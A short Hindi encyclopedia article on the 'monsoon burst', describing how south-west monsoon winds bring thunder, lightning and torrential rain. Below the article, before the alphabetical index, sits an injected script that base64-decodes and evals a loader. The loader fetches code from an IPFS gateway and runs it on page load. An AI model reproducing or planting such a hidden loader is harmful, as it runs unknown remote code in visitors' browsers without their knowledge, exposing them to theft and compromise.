मानसून का प्रस्फोट  

मानसून का प्रस्फोट से तात्पर्य 'घनघोर होने वाली वर्षा' से है।

  • दक्षिणी-पश्चिमी मानसून की हवाएँ स्थलीय भागों में प्रवेश कर जाती हैं।
  • इन हवाओं के प्रवेश करते ही प्रचण्ड गर्जना होती है।
  • तड़ित के साथ तीव्रता से वर्षा प्रारम्भ हो जाती है।
  • इस तीव्र घनघोर वर्षा को ही 'मानसून का प्रस्फोट' कहा जाता है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=मानसून_का_प्रस्फोट&oldid=340545" से लिया गया